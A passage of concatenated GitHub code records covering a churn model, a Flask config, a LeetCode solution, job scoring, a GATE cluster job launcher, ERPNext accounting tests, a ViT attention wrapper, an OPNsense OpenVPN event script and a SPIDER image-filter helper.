0.5)\r\n\r\nlabels_pred\r\n\r\nlen(labels_pred)\r\n\r\nlist(zip(labels_test, labels_pred))\r\n\r\nfrom sklearn.metrics import confusion_matrix\r\ncm = confusion_matrix(labels_test, labels_pred)\r\n\r\ncm\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"priyanshi1812/Forsk-Internship-Project","sub_path":"Churn Modelling.py","file_name":"Churn Modelling.py","file_ext":"py","file_size_in_byte":2959,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"4870082822","text":"import os\n\nbasedir = os.path.abspath(os.path.dirname(__file__))\n\nSECRET_KEY = 'snackru'\n\nSQLALCHEMY_DATABASE_URI = 'mysql://snackru:snackru@localhost/snackru'\n\nSQLALCHEMY_MIGRATE_REPO = os.path.join(basedir, 'db_repository')\n\nOAUTH_CREDENTIALS = {\n 'snackru': {\n 'id': '',\n 'secret': ''\n }\n}\n\nUPLOAD_FOLDER = os.path.join(basedir, 'uploads')\n\nLOG_FILENAME = \"snackru.log\"\n\nLOG_FORMAT = \"\"\n\nALLOWED_EXTENSIONS = [\"pdf\"]\n","repo_name":"NaeemH/SnackRU","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":439,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"13600356768","text":"from typing import *\n\n\nclass Solution:\n def selfDividingNumbers(self, left: int, right: int) -> List[int]:\n res = []\n for x in range(left, right + 1):\n if 0 in set(int(sx) for sx in str(x)):\n continue\n if all(x % xi == 0 for xi in list(int(sx) for sx in str(x))):\n res.append(x)\n return res\n","repo_name":"Alset-Nikolas/Algorithms-Letcode","sub_path":"Easy/4/728.SelfDividingNumbers/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":367,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"27293909276","text":"from typing import List\nfrom resumate.apps.job_matching.models import Job\nfrom resumate.apps.profile.models import UserProfile\n\n\ndef calculate_job_score(job: Job, user_profile: UserProfile) -> float:\n score = 0.0\n\n # Salary score\n salary_score = 0.0\n if job.salary >= user_profile.min_salary and job.salary <= user_profile.max_salary:\n salary_score = 1.0\n elif job.salary >= user_profile.min_salary:\n salary_score = 0.5\n score += salary_score\n\n # Commute distance score\n commute_score = 0.0\n if job.location in user_profile.preferred_locations:\n commute_score = 1.0\n elif user_profile.location_proximity >= 100:\n commute_score = 0.5\n score += commute_score\n\n # Perks score\n perks_score = 0.0\n if job.perks:\n perks_score = 0.5\n score += perks_score\n\n # Normalize the score to a range of 0 to 100\n normalized_score = (score / 3.0) * 100\n\n return normalized_score\n\n\ndef update_job_scores(user_profile: UserProfile, jobs: List[Job]) -> List[Job]:\n for job in jobs:\n job.score = calculate_job_score(job, user_profile)\n job.save()\n\n return jobs","repo_name":"avranu/resumate","sub_path":"apps/job_matching/job_scoring.py","file_name":"job_scoring.py","file_ext":"py","file_size_in_byte":1147,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"13884210949","text":"#!/usr/bin/env python\n\nimport os\nimport tempfile\nimport shutil\nimport click\nimport socket\nimport subprocess\nimport colorama\nimport numpy as np\nimport sys\nimport time\n\nsys.path.append(os.path.dirname(os.path.realpath(__file__)))\n\nfrom parserMacro import *\n\n\ndef get_dns_domain():\n domain = socket.getfqdn().split('.', 1)\n if len(domain) >= 2:\n return domain[1]\n else:\n return domain[0]\n\nCONTEXT_SETTINGS = dict(help_option_names=['-h', '--help'])\n@click.command(context_settings=CONTEXT_SETTINGS)\n@click.argument('mac', nargs=1)\n@click.option('-j', '--jobs', default=1, help='Number of jobs/core')\n@click.option('--splittime', is_flag=True, help='Divide time duration into the number of jobs')\n@click.option('-o', '--output', default='', help='Output folder path (default: run.XXX)')\n@click.option('-a', '--alias', type=(str, str), multiple=True, help='Alias (-a stringExemple Lu-177 -a valueExample 72.3 -a oneDifferentAliasForEachJobExample 1,2.5,3,4)')\n@click.option('--copydata', is_flag=True, help='Hard copy data into run.XXX folder (default: symbolic link)')\n@click.option('-d', '--dry', is_flag=True, help='If dry is set, copy all files, write the submission command lines but do not execute them')\n@click.option('--qt', is_flag=True, help='Add visualisation - Be sure to have few particles')\n@click.option('--env', default='', help='Bash script to set environment variables during job. This file is source at the beginning.')\n@click.option('--jobfile', default='', help='Job file for the cluster allowing to modify submission parameters (--jobfile=\"current\" display the path of the current job file and exit)')\n@click.option('-nd', '--no_detach', is_flag=True, help='Do not detach Gate, just 1 job in local and print in the shell')\ndef runJobs(mac, jobs, env, splittime, output, alias, copydata, dry, qt, jobfile, no_detach):\n \"\"\"\n \\b\n Run Gate jobs\n\n MAC: input mac filename\n\n \"\"\"\n\n directoryJobFiles = os.path.dirname(os.path.realpath(__file__))\n\n # Source env file\n envCommand = ''\n if not env == '':\n if not os.path.isabs(env):\n env = os.path.join(os.getcwd(), env)\n if not os.path.isfile(env):\n print(colorama.Fore.RED + 'ERROR: No env found : ' + env + colorama.Style.RESET_ALL)\n exit(1)\n else:\n envCommand = env\n else:\n envCommand = 'NONE'\n\n jobFile = \"\"\n # Take the correct job file according to the cluster name and jobfile option\n if jobfile == '' or jobfile == \"current\":\n if get_dns_domain() == 'in2p3.fr':\n #jobFile = os.path.join(directoryJobFiles, 'gate_job_ccin2p3.job')\n jobFile = os.path.join(directoryJobFiles, 'gate_job_ccin2p3.slurm')\n elif get_dns_domain() == 'idris.fr':\n jobFile = os.path.join(directoryJobFiles, 'gate_job_idris.slurm')\n else:\n jobFile = os.path.join(directoryJobFiles, 'gate_job_cluster.job')\n if not os.path.isfile(jobFile):\n print(colorama.Fore.RED + 'ERROR: The job file does not exist: ' + jobFile + colorama.Style.RESET_ALL)\n exit(1)\n if jobfile == \"current\":\n print(colorama.Fore.GREEN + 'Path to the job file: ' + colorama.Style.RESET_ALL)\n print(jobFile)\n exit(1)\n else:\n jobFile = jobfile\n if not os.path.isabs(jobFile):\n jobFile = os.path.join(os.getcwd(), jobFile)\n if not os.path.isfile(jobFile):\n print(colorama.Fore.RED + 'ERROR: The job file does not exist: ' + jobFile + colorama.Style.RESET_ALL)\n exit(1)\n\n # Get the release of Gate used for the simulation using the env file if present\n try:\n bashCommand = \"\"\n if not env == '':\n bashCommand = \"source \" + env + \"; which Gate\"\n else:\n bashCommand = \"which Gate\"\n outputCommand = subprocess.check_output(['bash','-c', bashCommand])\n releasedir = outputCommand[:-1].decode('utf-8')\n except:\n print(colorama.Fore.RED + 'ERROR: No Gate found in PATH' + colorama.Style.RESET_ALL)\n exit(1)\n else:\n print('Found Gate in folder: ' + releasedir)\n releasedir = 'NONE'\n\n # Get macro folder and files\n fullMacroDir = os.path.join(os.getcwd(), os.path.dirname(os.path.dirname(mac)))\n relativeMacroDir = os.path.dirname(os.path.dirname(mac))\n mainMacroFile = mac[len(relativeMacroDir)+1:]\n if relativeMacroDir == '':\n relativeMacroDir = '.'\n mainMacroFile = mac\n if not os.path.isdir(os.path.join(fullMacroDir, 'mac')):\n print(colorama.Fore.RED + 'ERROR: The mac folder does not exist: ' + os.path.join(fullMacroDir, 'mac') + colorama.Style.RESET_ALL)\n exit(1)\n if not os.path.isdir(os.path.join(fullMacroDir, 'data')):\n print(colorama.Fore.RED + 'ERROR: The data folder does not exist: ' + os.path.join(fullMacroDir, 'data') + colorama.Style.RESET_ALL)\n exit(1)\n if not os.path.isfile(mac):\n print(colorama.Fore.RED + 'ERROR: The mac file does not exist: ' + mac + colorama.Style.RESET_ALL)\n exit(1)\n\n # Check output path is absolute or relative\n outputDir = output\n if not outputDir == '' and not os.path.isabs(outputDir):\n outputDir = os.path.join(os.getcwd(), outputDir)\n # Create output directory\n if not outputDir == '' and os.path.isdir(outputDir):\n print(colorama.Fore.YELLOW + 'WARNING: The output folder already exist: ' + outputDir + colorama.Style.RESET_ALL)\n print(colorama.Fore.YELLOW + 'Evereything will be overwritten' + colorama.Style.RESET_ALL)\n if outputDir == '':\n outputDir = tempfile.mkdtemp(prefix='run.', dir=fullMacroDir)\n elif not os.path.isdir(outputDir):\n os.makedirs(outputDir)\n runId = os.path.basename(outputDir)[os.path.basename(outputDir).find('.') +1:]\n if runId == '':\n runId == os.path.basename(outputDir)\n print('Run Id is: ' + runId)\n\n # Find qsub\n qsub = shutil.which('qsub')\n if qsub is None:\n qsub = shutil.which('sbatch')\n if qsub is None:\n print('No qsub, run Gate on multiple cores.')\n\n if no_detach:\n #Be sure to be local and to run 1 job\n if not qsub is None:\n print(colorama.Fore.RED + 'ERROR: no_detach mode is available locally only' + colorama.Style.RESET_ALL)\n exit(1)\n if jobs != 1:\n print(colorama.Fore.RED + 'ERROR: The number of jobs has to be 1' + colorama.Style.RESET_ALL)\n exit(1)\n\n # Parameter files\n paramFileName = os.path.join(outputDir, 'run.log')\n paramFile = open(paramFileName, \"w\")\n paramFile.write('number of jobs = ' + str(jobs) + '\\n')\n paramFile.write('macro = ' + mac + '\\n')\n paramFile.write('runId = ' + runId + '\\n')\n paramFile.write('alias : \\n')\n\n #Parse macro files and sub-Macro\n os.makedirs(os.path.join(outputDir, 'mac'), exist_ok=True)\n parserMacro = ParserMacro()\n for a in alias:\n paramFile.write(' ' + a[0] + ' : ' + a[1] + '\\n')\n if ',' in a[1]:\n parserMacro.setAlias((a[0], a[1].split(\",\")), jobs)\n else:\n parserMacro.setAlias(a, jobs)\n parserMacro.setAlias((\"JOB_ID\", list(range(0, jobs))), jobs)\n parserMacro.parseMainMacFiles(fullMacroDir, mainMacroFile)\n paramtogate = ''\n if qt:\n print(colorama.Fore.YELLOW + 'WARNING: Be sure to have few particles for visualisation' + colorama.Style.RESET_ALL)\n parserMacro.setVisualisation()\n paramtogate += ' --qt '\n\n\n # Copy data\n if copydata:\n shutil.copytree(os.path.join(fullMacroDir, 'data'), os.path.join(outputDir, 'data'))\n else:\n if os.path.islink(os.path.join(outputDir, 'data')):\n os.unlink(os.path.join(outputDir, 'data'))\n elif os.path.isdir(os.path.join(outputDir, 'data')):\n shutil.rmtree(os.path.join(outputDir, 'data'))\n os.symlink(os.path.join(fullMacroDir, 'data'), os.path.join(outputDir, 'data'))\n\n #Manage split time option\n #Divide the time into jobs range of time\n if splittime:\n startTime = float(parserMacro.getAttributes('setTimeStart')[0])\n stopTime = float(parserMacro.getAttributes('setTimeStop')[0])\n slicedTime = (stopTime - startTime)/jobs\n arrayStartTime = []\n arrayStopTime = []\n for i in range(0, jobs):\n arrayStartTime += [startTime + i*slicedTime]\n arrayStopTime += [startTime + (i+1)*slicedTime]\n parserMacro.setAttributes('setTimeStart', arrayStartTime)\n parserMacro.setAttributes('setTimeSlice', np.array(arrayStopTime) - np.array(arrayStartTime))\n parserMacro.setAttributes('setTimeStop', arrayStopTime)\n\n #Write mac files into output folder\n parserMacro.writeMacFiles(outputDir)\n\n #Create file to write commands in it\n paramFile.write('\\ncommands: \\n')\n\n # Run jobs\n # if idris, run job by array\n if get_dns_domain() == 'idris.fr':\n #Set paramtogate\n paramtogateJob = paramtogate + ' -a '\n for aliasMac in parserMacro.aliasToGate:\n paramtogateJob += '[' + aliasMac + ',' + str(parserMacro.aliasToGate[aliasMac][0]) + ']'\n tempParamFile = tempfile.NamedTemporaryFile(mode='w+t', delete=False, prefix='var.', dir=outputDir)\n tempParamFile.write(paramtogateJob)\n tempParamFile.close()\n command = 'sbatch -J gate.' + runId + \\\n ' --array=0-' + str(jobs) + '%' + str(jobs) + \\\n ' --export=ALL,PARAM=\\\"' + tempParamFile.name + \\\n '\\\",INDEX=' + str(jobs) + \\\n ',INDEXMAX=' + str(jobs) + \\\n ',OUTPUTDIR=' + outputDir + \\\n ',RELEASEDIR=' + releasedir + \\\n ',MACROFILE=' + os.path.join(outputDir, mainMacroFile) + \\\n ',MACRODIR=' + outputDir + \\\n ',ENVCOMMAND=' + envCommand + \\\n ' ' + jobFile\n paramFile.write(command)\n paramFile.write(\"\\n\")\n if dry:\n print(command)\n else:\n os.system(command)\n else:\n for i in range(0, jobs):\n #Set paramtogate with alias for each job\n paramtogateJob = paramtogate + ' -a [JOB_ID,' + str(i) + ']'\n for aliasMac in parserMacro.aliasToGate:\n paramtogateJob += '[' + aliasMac + ',' + str(parserMacro.aliasToGate[aliasMac][i]) + ']'\n\n if get_dns_domain() == 'in2p3.fr':\n tempParamFile = tempfile.NamedTemporaryFile(mode='w+t', delete=False, prefix='var.', dir=outputDir)\n tempParamFile.write(paramtogateJob)\n tempParamFile.close()\n command = 'sbatch -L sps -J gate.' + runId + \\\n ' -D ' + outputDir + \\\n ' --export=ALL,PARAM=\\\"' + tempParamFile.name + \\\n '\\\",INDEX=' + str(i) + \\\n ',INDEXMAX=' + str(jobs) + \\\n ',OUTPUTDIR=' + outputDir + \\\n ',RELEASEDIR=' + releasedir + \\\n ',MACROFILE=' + os.path.join(outputDir, mainMacroFile) + \\\n ',MACRODIR=' + outputDir + \\\n ',ENVCOMMAND=' + envCommand + \\\n ' ' + jobFile\n elif qsub is None:\n command = 'PARAM=\\\" ' + paramtogateJob + \\\n '\\\" INDEX=' + str(i) + \\\n ' INDEXMAX=' + str(jobs) + \\\n ' OUTPUTDIR=' + outputDir + \\\n ' RELEASEDIR=' + releasedir + \\\n ' MACROFILE=' + os.path.join(outputDir, mainMacroFile) + \\\n ' MACRODIR=' + outputDir + \\\n ' ENVCOMMAND=' + envCommand + \\\n ' PBS_JOBID=\\\"local_' + str(i) + \\\n '\\\" bash ' + jobFile\n if not no_detach:\n command += \" &> \" + os.path.join(outputDir, \"gate.o_\" + str(i)) + \" &\"\n else:\n command = 'qsub -N \\\"gatejob.' + runId + \\\n ' -o ' + outputDir + \\\n ' -v \\\"PARAM=\\\\\\\"' + paramtogateJob + \\\n '\\\\\\\",INDEX=' + str(i) + \\\n ',INDEXMAX=' + str(jobs) + \\\n ',OUTPUTDIR=' + outputDir + \\\n ',RELEASEDIR=' + releasedir + \\\n ',MACROFILE=' + os.path.join(outputDir, mainMacroFile) + \\\n ',MACRODIR=' + outputDir + \\\n ',ENVCOMMAND=' + envCommand + \\\n '\\\" ' + jobFile\n paramFile.write(command)\n paramFile.write(\"\\n\")\n if dry:\n print(command)\n else:\n os.system(command)\n if qsub is None:\n time.sleep(1)\n\n paramFile.close()\n print(str(jobs) + ' jobs running')\n print('Run folder is: ' + outputDir)\n\n\nif __name__ == \"__main__\":\n colorama.init()\n runJobs()\n","repo_name":"OpenGATE/GateTools","sub_path":"clustertools/gate_split_and_run.py","file_name":"gate_split_and_run.py","file_ext":"py","file_size_in_byte":13199,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"72"} +{"seq_id":"38135661159","text":"import unittest\n\nimport frappe\nfrom frappe.utils import today\n\nfrom erpnext.accounts.doctype.finance_book.test_finance_book import create_finance_book\nfrom erpnext.accounts.doctype.journal_entry.test_journal_entry import make_journal_entry\nfrom erpnext.accounts.doctype.sales_invoice.test_sales_invoice import create_sales_invoice\nfrom erpnext.accounts.utils import get_fiscal_year, now\n\n\nclass TestPeriodClosingVoucher(unittest.TestCase):\n\tdef test_closing_entry(self):\n\t\tfrappe.db.sql(\"delete from `tabGL Entry` where company='Test PCV Company'\")\n\n\t\tcompany = create_company()\n\t\tcost_center = create_cost_center(\"Test Cost Center 1\")\n\n\t\tjv1 = make_journal_entry(\n\t\t\tamount=400,\n\t\t\taccount1=\"Cash - TPC\",\n\t\t\taccount2=\"Sales - TPC\",\n\t\t\tcost_center=cost_center,\n\t\t\tposting_date=now(),\n\t\t\tsave=False,\n\t\t)\n\t\tjv1.company = company\n\t\tjv1.save()\n\t\tjv1.submit()\n\n\t\tjv2 = make_journal_entry(\n\t\t\tamount=600,\n\t\t\taccount1=\"Cost of Goods Sold - TPC\",\n\t\t\taccount2=\"Cash - TPC\",\n\t\t\tcost_center=cost_center,\n\t\t\tposting_date=now(),\n\t\t\tsave=False,\n\t\t)\n\t\tjv2.company = company\n\t\tjv2.save()\n\t\tjv2.submit()\n\n\t\tpcv = self.make_period_closing_voucher()\n\t\tsurplus_account = pcv.closing_account_head\n\n\t\texpected_gle = (\n\t\t\t(\"Cost of Goods Sold - TPC\", 0.0, 600.0),\n\t\t\t(surplus_account, 600.0, 400.0),\n\t\t\t(\"Sales - TPC\", 400.0, 0.0),\n\t\t)\n\n\t\tpcv_gle = frappe.db.sql(\n\t\t\t\"\"\"\n\t\t\tselect account, debit, credit from `tabGL Entry` where voucher_no=%s order by account\n\t\t\"\"\",\n\t\t\t(pcv.name),\n\t\t)\n\n\t\tself.assertEqual(pcv_gle, expected_gle)\n\n\tdef test_cost_center_wise_posting(self):\n\t\tfrappe.db.sql(\"delete from `tabGL Entry` where company='Test PCV Company'\")\n\n\t\tcompany = create_company()\n\t\tsurplus_account = create_account()\n\n\t\tcost_center1 = create_cost_center(\"Main\")\n\t\tcost_center2 = create_cost_center(\"Western Branch\")\n\n\t\tcreate_sales_invoice(\n\t\t\tcompany=company,\n\t\t\tcost_center=cost_center1,\n\t\t\tincome_account=\"Sales - TPC\",\n\t\t\texpense_account=\"Cost of Goods Sold - TPC\",\n\t\t\trate=400,\n\t\t\tdebit_to=\"Debtors - TPC\",\n\t\t\tcurrency=\"USD\",\n\t\t\tcustomer=\"_Test Customer USD\",\n\t\t)\n\t\tcreate_sales_invoice(\n\t\t\tcompany=company,\n\t\t\tcost_center=cost_center2,\n\t\t\tincome_account=\"Sales - TPC\",\n\t\t\texpense_account=\"Cost of Goods Sold - TPC\",\n\t\t\trate=200,\n\t\t\tdebit_to=\"Debtors - TPC\",\n\t\t\tcurrency=\"USD\",\n\t\t\tcustomer=\"_Test Customer USD\",\n\t\t)\n\n\t\tpcv = self.make_period_closing_voucher(submit=False)\n\t\tpcv.cost_center_wise_pnl = 1\n\t\tpcv.save()\n\t\tpcv.submit()\n\t\tsurplus_account = pcv.closing_account_head\n\n\t\texpected_gle = (\n\t\t\t(surplus_account, 0.0, 400.0, cost_center1),\n\t\t\t(surplus_account, 0.0, 200.0, cost_center2),\n\t\t\t(\"Sales - TPC\", 400.0, 0.0, cost_center1),\n\t\t\t(\"Sales - TPC\", 200.0, 0.0, cost_center2),\n\t\t)\n\n\t\tpcv_gle = frappe.db.sql(\n\t\t\t\"\"\"\n\t\t\tselect account, debit, credit, cost_center\n\t\t\tfrom `tabGL Entry` where voucher_no=%s\n\t\t\torder by account, cost_center\n\t\t\"\"\",\n\t\t\t(pcv.name),\n\t\t)\n\n\t\tself.assertEqual(pcv_gle, expected_gle)\n\n\tdef test_period_closing_with_finance_book_entries(self):\n\t\tfrappe.db.sql(\"delete from `tabGL Entry` where company='Test PCV Company'\")\n\n\t\tcompany = create_company()\n\t\tsurplus_account = create_account()\n\t\tcost_center = create_cost_center(\"Test Cost Center 1\")\n\n\t\tsi = create_sales_invoice(\n\t\t\tcompany=company,\n\t\t\tincome_account=\"Sales - TPC\",\n\t\t\texpense_account=\"Cost of Goods Sold - TPC\",\n\t\t\tcost_center=cost_center,\n\t\t\trate=400,\n\t\t\tdebit_to=\"Debtors - TPC\",\n\t\t\tcurrency=\"USD\",\n\t\t\tcustomer=\"_Test Customer USD\",\n\t\t)\n\n\t\tjv = make_journal_entry(\n\t\t\taccount1=\"Cash - TPC\",\n\t\t\taccount2=\"Sales - TPC\",\n\t\t\tamount=400,\n\t\t\tcost_center=cost_center,\n\t\t\tposting_date=now(),\n\t\t)\n\t\tjv.company = company\n\t\tjv.finance_book = create_finance_book().name\n\t\tjv.save()\n\t\tjv.submit()\n\n\t\tpcv = self.make_period_closing_voucher()\n\t\tsurplus_account = pcv.closing_account_head\n\n\t\texpected_gle = (\n\t\t\t(surplus_account, 0.0, 400.0, None),\n\t\t\t(surplus_account, 0.0, 400.0, jv.finance_book),\n\t\t\t(\"Sales - TPC\", 400.0, 0.0, None),\n\t\t\t(\"Sales - TPC\", 400.0, 0.0, jv.finance_book),\n\t\t)\n\n\t\tpcv_gle = frappe.db.sql(\n\t\t\t\"\"\"\n\t\t\tselect account, debit, credit, finance_book\n\t\t\tfrom `tabGL Entry` where voucher_no=%s\n\t\t\torder by account, finance_book\n\t\t\"\"\",\n\t\t\t(pcv.name),\n\t\t)\n\n\t\tself.assertEqual(pcv_gle, expected_gle)\n\n\tdef make_period_closing_voucher(self, submit=True):\n\t\tsurplus_account = create_account()\n\t\tcost_center = create_cost_center(\"Test Cost Center 1\")\n\t\tpcv = frappe.get_doc(\n\t\t\t{\n\t\t\t\t\"doctype\": \"Period Closing Voucher\",\n\t\t\t\t\"transaction_date\": today(),\n\t\t\t\t\"posting_date\": today(),\n\t\t\t\t\"company\": \"Test PCV Company\",\n\t\t\t\t\"fiscal_year\": get_fiscal_year(today(), company=\"Test PCV Company\")[0],\n\t\t\t\t\"cost_center\": cost_center,\n\t\t\t\t\"closing_account_head\": surplus_account,\n\t\t\t\t\"remarks\": \"test\",\n\t\t\t}\n\t\t)\n\t\tpcv.insert()\n\t\tif submit:\n\t\t\tpcv.submit()\n\n\t\treturn pcv\n\n\ndef create_company():\n\tcompany = frappe.get_doc(\n\t\t{\n\t\t\t\"doctype\": \"Company\",\n\t\t\t\"company_name\": \"Test PCV Company\",\n\t\t\t\"country\": \"United States\",\n\t\t\t\"default_currency\": \"USD\",\n\t\t}\n\t)\n\tcompany.insert(ignore_if_duplicate=True)\n\treturn company.name\n\n\ndef create_account():\n\taccount = frappe.get_doc(\n\t\t{\n\t\t\t\"account_name\": \"Reserve and Surplus\",\n\t\t\t\"is_group\": 0,\n\t\t\t\"company\": \"Test PCV Company\",\n\t\t\t\"root_type\": \"Liability\",\n\t\t\t\"report_type\": \"Balance Sheet\",\n\t\t\t\"account_currency\": \"USD\",\n\t\t\t\"parent_account\": \"Current Liabilities - TPC\",\n\t\t\t\"doctype\": \"Account\",\n\t\t}\n\t).insert(ignore_if_duplicate=True)\n\treturn account.name\n\n\ndef create_cost_center(cc_name):\n\tcostcenter = frappe.get_doc(\n\t\t{\n\t\t\t\"company\": \"Test PCV Company\",\n\t\t\t\"cost_center_name\": cc_name,\n\t\t\t\"doctype\": \"Cost Center\",\n\t\t\t\"parent_cost_center\": \"Test PCV Company - TPC\",\n\t\t}\n\t)\n\tcostcenter.insert(ignore_if_duplicate=True)\n\treturn costcenter.name\n\n\ntest_dependencies = [\"Customer\", \"Cost Center\"]\ntest_records = frappe.get_test_records(\"Period Closing Voucher\")\n","repo_name":"RafMo20D/erpnext-ksa-op","sub_path":"erpnext/accounts/doctype/period_closing_voucher/test_period_closing_voucher.py","file_name":"test_period_closing_voucher.py","file_ext":"py","file_size_in_byte":5771,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"72"} +{"seq_id":"7622262073","text":"import torch\nimport torch.nn as nn\nfrom timm.models.vision_transformer import VisionTransformer, Block, Attention\n\n\n\nclass ModifiedAttention(Attention):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n def forward(self, x):\n B, N, C = x.shape\n qkv = self.qkv(x).reshape(B, N, 3, self.num_heads, C // self.num_heads).permute(2, 0, 3, 1, 4)\n q, k, v = qkv.unbind(0) # make torchscript happy (cannot use tensor as tuple) (batch_size, num_head, num_tokens + 1, emb_size/num_head)\n # print(\"k.transpose(-2, -1)\", k.transpose(-2, -1).shape)\n attn = (q @ k.transpose(-2, -1)) * self.scale # (batch_size, num_head, num_tokens + 1, num_tokens + 1)\n # attn_r = attn[:, :, 0, :].mean(dim=1).squeeze()\n # attn_r = attn.mean(dim=1)\n attn = attn.softmax(dim=-1)\n attn = self.attn_drop(attn)\n\n x = (attn @ v).transpose(1, 2).reshape(B, N, C)\n x = self.proj(x)\n x = self.proj_drop(x)\n attn_r = attn.mean(dim=1)\n return x, attn_r\n\n\nclass ModifiedBlock(Block):\n\n def __init__(\n self,\n dim,\n num_heads,\n mlp_ratio=4.,\n qkv_bias=False,\n drop=0.,\n attn_drop=0.,\n init_values=None,\n drop_path=0.,\n act_layer=nn.GELU,\n norm_layer=nn.LayerNorm\n ):\n super().__init__(dim=dim,\n num_heads=num_heads,\n mlp_ratio=mlp_ratio,\n qkv_bias=qkv_bias,\n drop=drop,\n attn_drop=attn_drop,\n init_values=init_values,\n drop_path=drop_path,\n act_layer=act_layer,\n norm_layer=norm_layer)\n\n self.attn = ModifiedAttention(dim, num_heads=num_heads, qkv_bias=qkv_bias, attn_drop=attn_drop, proj_drop=drop)\n\n def forward(self, x):\n x_attn, attn = self.attn(self.norm1(x))\n x = x + self.drop_path1(self.ls1(x_attn))\n x = x + self.drop_path2(self.ls2(self.mlp(self.norm2(x))))\n return x, attn\n\n\n\nclass ModifieddVisionTransformer(VisionTransformer):\n def __init__(self, *args, **kwargs):\n super().__init__(block_fn=ModifiedBlock, *args, **kwargs)\n\n\n def forward_features(self, x):\n # taken from https://github.com/rwightman/pytorch-image-models/blob/master/timm/models/vision_transformer.py\n # with modifications\n B = x.shape[0]\n x = self.patch_embed(x)\n # print(x.shape)\n x = self._pos_embed(x)\n\n x = self.norm_pre(x)\n attns = []\n for i in range(len(self.blocks)):\n x, weights = self.blocks[i](x)\n attns.append(weights)\n\n x = self.norm(x)\n return x, attns\n\n def forward(self, x):\n\n x, attns = self.forward_features(x)\n\n x = self.forward_head(x)\n return x, attns\n\n # def check_func(self):\n # for module in self.children():\n # if hasattr(module, 'training'):\n # print(f'{module.__class__.__name__}: training={module.training}')\n # print(len(self.blocks))\n # pass\n","repo_name":"WZq975/DViTSAF","sub_path":"ViT_class.py","file_name":"ViT_class.py","file_ext":"py","file_size_in_byte":3107,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"10623634960","text":"import argparse\nimport sys\nimport os\nimport subprocess\n\n\ndef main(params):\n if params.common_name:\n os.environ['common_name'] = params.common_name\n if params.auth_control_file:\n os.environ['auth_control_file'] = params.auth_control_file\n if params.server:\n os.environ[\"auth_server\"] = params.server\n # script action\n cmd_path = \"%s/\" % os.path.dirname(__file__)\n if params.script_type == 'user-pass-verify':\n os.environ[\"auth_method\"] = params.auth_method\n if params.auth_method == 'via-file' and len(params.args) > 0:\n # user/password file to read (via-file), arg1\n os.environ[\"auth_file\"] = params.args[0]\n if params.defer:\n os.environ[\"auth_defer\"] = 'true'\n if os.fork() != 0:\n # When deferred, openvpn expects exit code 2 (see help --auth-user-pass-verify)\n sys.exit(2)\n\n # dispatch user_pass_verify\n sys.exit(subprocess.run(\"%s/user_pass_verify.php\" % cmd_path).returncode)\n elif params.script_type == 'tls-verify':\n if len(params.args) > 0:\n os.environ[\"certificate_depth\"] = params.args[0]\n sys.exit(subprocess.run(\"%s/tls_verify.php\" % cmd_path).returncode)\n elif params.script_type == 'client-connect':\n # Temporary file used for the profile specified by client-connect\n if len(params.args) > 0:\n os.environ[\"config_file\"] = params.args[0]\n sys.exit(subprocess.run(\"%s/client_connect.php\" % cmd_path).returncode)\n elif params.script_type == 'client-disconnect':\n sys.exit(subprocess.run(\"%s/client_disconnect.sh\" % cmd_path).returncode)\n elif params.script_type == 'learn-address':\n if os.fork() == 0:\n sys.exit(subprocess.run(\n ['/usr/local/opnsense/scripts/filter/update_tables.py', '--types', 'authgroup']\n ).returncode)\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument(\n '--common_name',\n help='common name [cn], defaults to \"common_name\" in environment',\n default=os.environ.get('common_name', None)\n )\n parser.add_argument(\n '--script_type',\n help='script_type (event), defaults to \"script_type\" in environment',\n default=os.environ.get('script_type', None),\n choices=['user-pass-verify', 'tls-verify', 'client-connect', 'client-disconnect']\n )\n parser.add_argument(\n '--auth_control_file',\n help='auth control file location, defaults to \"auth_control_file\" in environment',\n default=os.environ.get('auth_control_file', None)\n )\n parser.add_argument(\n '--auth_method',\n help='auth method (via-env or via-file)',\n default='via-env',\n choices=['via-env', 'via-file']\n )\n parser.add_argument('--defer', help='defer action (when supported)', default=False, action=\"store_true\")\n parser.add_argument('server', help='openvpn server id to use, authentication settings are configured per server')\n parser.add_argument('args', nargs='*', help='script arguments specified by openvpn')\n\n main(parser.parse_args())\n","repo_name":"opnsense/core","sub_path":"src/opnsense/scripts/openvpn/ovpn_event.py","file_name":"ovpn_event.py","file_ext":"py","file_size_in_byte":3164,"program_lang":"python","lang":"en","doc_type":"code","stars":2702,"dataset":"github-code","pt":"72"} +{"seq_id":"33856164459","text":"\n## python\nimport os\nimport time\nimport numpy\nimport subprocess\nimport math\n## appion\nfrom appionlib import spyder\nfrom appionlib import apParam\nfrom appionlib import apDisplay\nfrom appionlib import apFile\nfrom pyami import spider\n\n\"\"\"\nA large collection of SPIDER functions for 2D WHOLE IMAGE FILTERS purposes only\n\nI try to keep the trend\nimage file:\n\t*****img.spi\nimage stack file:\n\t*****stack.spi\ndoc/keep/reject file:\n\t*****doc.spi\nfile with some data:\n\t*****data.spi\n\nthat way its easy to tell what type of file it is\n\"\"\"\n\n#===============================\ndef phaseFlipImage(img,cs,df,hightension,imgsize,apix):\n\t\"\"\"\n\tcomputes the phase contrast transfer function,\n\tthen multiplies it by the fourier transform of an image,\n\tthen does a reverse FFT\n\t\"\"\"\n\n\timgname,ext = os.path.splitext(img)\n\tif ext != \".spi\":\n\t\tapDisplay.printError(\"Input file for SPIDER phaseflipping is not in spider format\")\n\n\t# SPIDER can't handle really long file names,\n\t# so remove path portion of file\n\tinname = os.path.basename(imgname)\n\ttfname = os.path.basename(imgname)+\"_tf\"\n\toutname = 